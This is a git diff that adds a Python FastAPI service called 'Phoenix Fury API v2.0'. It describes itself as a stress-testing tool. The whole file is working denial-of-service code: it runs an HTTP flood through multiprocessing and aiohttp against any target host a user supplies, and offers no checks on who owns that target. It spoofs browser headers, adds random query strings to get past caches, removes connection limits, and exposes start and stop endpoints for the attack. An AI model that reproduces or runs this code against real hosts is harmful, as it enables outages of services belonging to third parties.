Create phoenix_fury_api.py

phoenix_fury_api.py

@@ -0,0 +1,365 @@
+# ====================================================================================
+#  PHOENIX FURY API v2.0 - HIGH-RPS EDITION
+#
+#  - RE-ARCHITECTED: Uses multiprocessing.Manager and shared memory counters
+#    for near-zero overhead statistics, enabling massive RPS scaling.
+#  - OPTIMIZED L7: Aggressive aiohttp connection pooling and a lean async
+#    worker loop designed for maximum request throughput.
+#  - SIMPLIFIED STATE: Centralized state management for instant status updates.
+#
+#  *** BUILT FOR MAXIMUM L7 REQUESTS PER SECOND (RPS) ***
+# ====================================================================================
+
+import socket
+import struct
+import random
+import time
+import multiprocessing
+import threading
+import asyncio
+import aiohttp
+import os
+import sys
+import psutil
+import uvloop
+from typing import Literal, Optional, List
+from ctypes import c_bool, c_ulonglong
+
+# FastAPI & Pydantic
+from fastapi import FastAPI, HTTPException, BackgroundTasks
+from pydantic import BaseModel, Field, validator
+import uvicorn
+
+# Apply uvloop for a faster asyncio event loop
+asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
+
+# --- Application Setup & Constants ---
+app = FastAPI(
+    title="🔥 Phoenix Fury API v2.0",
+    description="A high-RPS, multi-process L4/L7 stress testing tool. Re-architected for maximum performance. Requires root/admin privileges for Layer 4 attacks.",
+    version="2.0.0"
+)
+CPU_COUNT = psutil.cpu_count(logical=True)
+STATS_BATCH_UPDATE_SIZE = 200 # How many requests a worker makes before updating the shared counter
+
+# --- Realistic Browser Headers ---
+USER_AGENTS = [
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
+]
+HTTP_HEADERS = {
+    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
+    "Accept-Language": "en-US,en;q=0.5",
+    "Accept-Encoding": "gzip, deflate, br",
+    "Connection": "keep-alive",
+    "Upgrade-Insecure-Requests": "1",
+    "Sec-Fetch-Dest": "document",
+    "Sec-Fetch-Mode": "navigate",
+    "Sec-Fetch-Site": "none",
+    "Sec-Fetch-User": "?1",
+    "TE": "trailers",
+}
+
+# ====================================================================================
+#  GLOBAL SHARED STATE (HIGH PERFORMANCE)
+# ====================================================================================
+# Using a Manager is the cleanest way to share complex state between processes.
+# For raw performance, Value/Event are used for high-frequency updates.
+manager = multiprocessing.Manager()
+STATE = manager.dict()
+STOP_EVENT = multiprocessing.Event()
+TOTAL_SENT_COUNTER = multiprocessing.Value(c_ulonglong, 0)
+
+def reset_state():
+    """Resets the shared state to default values."""
+    STATE.clear()
+    STATE.update({
+        "attack_running": False,
+        "attack_type": "None",
+        "target_host": "None",
+        "target_ip": "None",
+        "port": 0,
+        "duration": 0,
+        "start_time": 0.0,
+        "processes": 0,
+        "current_rate": 0.0,
+    })
+    STOP_EVENT.clear()
+    with TOTAL_SENT_COUNTER.get_lock():
+        TOTAL_SENT_COUNTER.value = 0
+
+reset_state() # Initialize on startup
+
+# ====================================================================================
+#  Pydantic API Models
+# ====================================================================================
+class L7Config(BaseModel):
+    target: str = Field(..., description="Target hostname or IP address (e.g., http://example.com)")
+    port: int = Field(..., ge=1, le=65535, description="Target port")
+    duration: int = Field(..., ge=10, description="Attack duration in seconds")
+    processes: int = Field(CPU_COUNT, ge=1, le=CPU_COUNT*4, description=f"Number of processes to spawn. Defaults to CPU cores ({CPU_COUNT}).")
+    concurrency_per_process: int = Field(512, ge=1, le=4096, description="Concurrent async tasks per process.")
+    method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
+    path: str = Field("/", description="Request path")
+
+class StatusResponse(BaseModel):
+    attack_running: bool
+    attack_type: str
+    target: str
+    port: int
+    duration: int
+    elapsed_time: float
+    processes: int
+    total_requests_sent: int
+    current_rate_rps: float
+    cpu_usage_percent: float
+    memory_usage_percent: float
+
+# ====================================================================================
+#  CORE UTILS & NETWORKING
+# ====================================================================================
+def resolve_target(target: str) -> str:
+    """Safely resolve hostname to IP."""
+    try:
+        # Handle URLs like http://domain.com
+        if "://" in target:
+            target = target.split("://")[1].split("/")[0]
+        return socket.gethostbyname(target)
+    except socket.gaierror:
+        raise HTTPException(status_code=400, detail=f"Could not resolve hostname: {target}")
+
+# ====================================================================================
+#  HIGH-PERFORMANCE L7 WORKER
+# ====================================================================================
+async def l7_task(session, url, method, stop_event, shared_counter):
+    """A single async task that hammers a URL in a loop."""
+    local_counter = 0
+    while not stop_event.is_set():
+        try:
+            # Add a random query param to bypass caches
+            request_url = f"{url}?{random.randint(1, 99999999)}"
+            async with session.request(method, request_url, ssl=False):
+                local_counter += 1
+                if local_counter >= STATS_BATCH_UPDATE_SIZE:
+                    with shared_counter.get_lock():
+                        shared_counter.value += local_counter
+                    local_counter = 0
+        except Exception:
+            # In a stress test, we expect errors. Count them as attempts.
+            local_counter += 1
+            if local_counter >= STATS_BATCH_UPDATE_SIZE:
+                with shared_counter.get_lock():
+                    shared_counter.value += local_counter
+                local_counter = 0
+        # Yield control to the event loop immediately
+        await asyncio.sleep(0)
+    
+    # Final update before exiting
+    if local_counter > 0:
+        with shared_counter.get_lock():
+            shared_counter.value += local_counter
+
+async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
+    """Main async function for a single worker process."""
+    headers = {**HTTP_HEADERS, "User-Agent": random.choice(USER_AGENTS)}
+    
+    # Aggressive connector settings for high RPS
+    connector = aiohttp.TCPConnector(
+        limit_per_host=0,  # No limit on connections per host
+        limit=None,        # No limit on total connections
+        force_close=False, # Reuse connections
+        enable_keepalive=True,
+        use_dns_cache=True,
+        ttl_dns_cache=300, # Cache DNS for 5 mins
+        ssl=False
+    )
+
+    timeout = aiohttp.ClientTimeout(total=10, connect=5)
+
+    async with aiohttp.ClientSession(connector=connector, headers=headers, timeout=timeout) as session:
+        tasks = [
+            l7_task(session, url, method, stop_event, shared_counter)
+            for _ in range(concurrency)
+        ]
+        await asyncio.gather(*tasks)
+
+def l7_worker_process(target_ip, port, path, method, concurrency, stop_event, shared_counter):
+    """The entry point for each spawned L7 attack process."""
+    # Construct the base URL. aiohttp handles the Host header correctly.
+    url = f"http://{target_ip}:{port}{path}"
+    try:
+        asyncio.run(l7_worker_main(url, method, concurrency, stop_event, shared_counter))
+    except KeyboardInterrupt:
+        pass # Allow clean exit
+    except Exception as e:
+        print(f"[Process {os.getpid()}] Worker error: {e}", file=sys.stderr)
+
+# ====================================================================================
+#  ATTACK MANAGER & STATE CONTROLLER
+# ====================================================================================
+active_processes: List[multiprocessing.Process] = []
+
+def start_attack(config: L7Config):
+    """Initiates the L7 attack."""
+    if STATE["attack_running"]:
+        print("Attack start requested, but one is already running.")
+        return
+
+    try:
+        target_ip = resolve_target(config.target)
+        
+        # --- Update Global State ---
+        STATE["attack_running"] = True
+        STATE["target_host"] = config.target
+        STATE["target_ip"] = target_ip
+        STATE["port"] = config.port
+        STATE["duration"] = config.duration
+        STATE["attack_type"] = f"L7-{config.method.upper()}"
+        STATE["start_time"] = time.time()
+        STATE["processes"] = config.processes
+        
+        print(f"🔥 Starting {STATE['attack_type']} attack on {STATE['target_host']}:{STATE['port']} for {STATE['duration']}s")
+        
+        # --- Spawn Worker Processes ---
+        for _ in range(config.processes):
+            p = multiprocessing.Process(
+                target=l7_worker_process,
+                args=(
+                    target_ip,
+                    config.port,
+                    config.path,
+                    config.method,
+                    config.concurrency_per_process,
+                    STOP_EVENT,
+                    TOTAL_SENT_COUNTER
+                )
+            )
+            active_processes.append(p)
+            p.start()
+            
+        # --- Schedule the stop ---
+        main_thread = threading.Thread(target=timed_stop, args=(config.duration,))
+        main_thread.start()
+
+    except Exception as e:
+        print(f"Failed to start attack: {e}", file=sys.stderr)
+        stop_attack_immediately()
+
+
+def timed_stop(duration: int):
+    """Waits for the duration and then stops the attack."""
+    time.sleep(duration)
+    print(f"Duration of {duration}s reached. Stopping attack.")
+    stop_attack_immediately()
+
+def stop_attack_immediately():
+    """Stops the attack and cleans up resources."""
+    if not STATE["attack_running"]:
+        return {"status": "success", "message": "No attack was running."}
+        
+    print("🛑 Sending stop signal to all worker processes...")
+    STOP_EVENT.set()
+    
+    for p in active_processes:
+        p.join(timeout=5) # Give processes time to exit cleanly
+        if p.is_alive():
+            print(f"Process {p.pid} did not terminate gracefully, forcing termination.")
+            p.terminate()
+
+    active_processes.clear()
+    
+    elapsed = time.time() - STATE['start_time']
+    total_sent = TOTAL_SENT_COUNTER.value
+    avg_rate = total_sent / elapsed if elapsed > 0 else 0
+    print("="*40)
+    print("✅ ATTACK TERMINATED.")
+    print(f"   Total Requests: {total_sent:,}")
+    print(f"   Elapsed Time:   {elapsed:.2f} seconds")
+    print(f"   Average Rate:   {avg_rate:,.2f} RPS")
+    print("="*40)
+
+    reset_state()
+    return {"status": "success", "message": "Attack stopped."}
+
+
+def stats_calculator():
+    """A background thread to calculate RPS continuously."""
+    last_check_time = time.time()
+    last_count = 0
+    while True:
+        time.sleep(1)
+        if STATE["attack_running"]:
+            now = time.time()
+            current_count = TOTAL_SENT_COUNTER.value
+            
+            elapsed = now - last_check_time
+            if elapsed > 0:
+                rate = (current_count - last_count) / elapsed
+                STATE["current_rate"] = rate
+            
+            last_check_time = now
+            last_count = current_count
+        else:
+            if STATE["current_rate"] != 0:
+                STATE["current_rate"] = 0
+            last_count = 0
+
+
+# ====================================================================================
+#  FASTAPI ENDPOINTS
+# ====================================================================================
+@app.on_event("startup")
+def on_startup():
+    """Start the background stats thread."""
+    reset_state()
+    stats_thread = threading.Thread(target=stats_calculator, daemon=True)
+    stats_thread.start()
+
+@app.post("/attack/layer7")
+def api_start_l7_attack(config: L7Config):
+    if STATE["attack_running"]:
+        raise HTTPException(status_code=409, detail="An attack is already in progress.")
+    
+    # We run the attack logic in a separate thread to not block the API response
+    attack_thread = threading.Thread(target=start_attack, args=(config,))
+    attack_thread.start()
+    
+    return {"status": "success", "message": f"L7 {config.method.upper()} attack initiated on {config.target}:{config.port}"}
+
+@app.post("/attack/stop")
+def api_stop_attack():
+    if not STATE["attack_running"]:
+        return {"status": "info", "message": "No attack is currently running."}
+
+    response = stop_attack_immediately()
+    return response
+
+@app.get("/status", response_model=StatusResponse)
+def get_status():
+    """Provides a real-time status of the ongoing attack."""
+    elapsed = (time.time() - STATE["start_time"]) if STATE["attack_running"] else 0
+    return StatusResponse(
+        attack_running=STATE["attack_running"],
+        attack_type=STATE["attack_type"],
+        target=f"{STATE['target_host']} ({STATE['target_ip']})",
+        port=STATE["port"],
+        duration=STATE["duration"],
+        elapsed_time=round(elapsed, 2),
+        processes=STATE["processes"],
+        total_requests_sent=TOTAL_SENT_COUNTER.value,
+        current_rate_rps=round(STATE["current_rate"], 2),
+        cpu_usage_percent=psutil.cpu_percent(),
+        memory_usage_percent=psutil.virtual_memory().percent
+    )
+
+@app.get("/")
+def root():
+    return {"message": "🔥 Phoenix Fury API v2.0 - High-RPS Edition", "docs": "/docs"}
+
+# --- Main Execution ---
+if __name__ == "__main__":
+    multiprocessing.freeze_support()
+    print("Phoenix Fury API v2.0 starting up...")
+    print(f"Detected {CPU_COUNT} logical CPU cores.")
+    uvicorn.run(app, host="0.0.0.0", port=8000)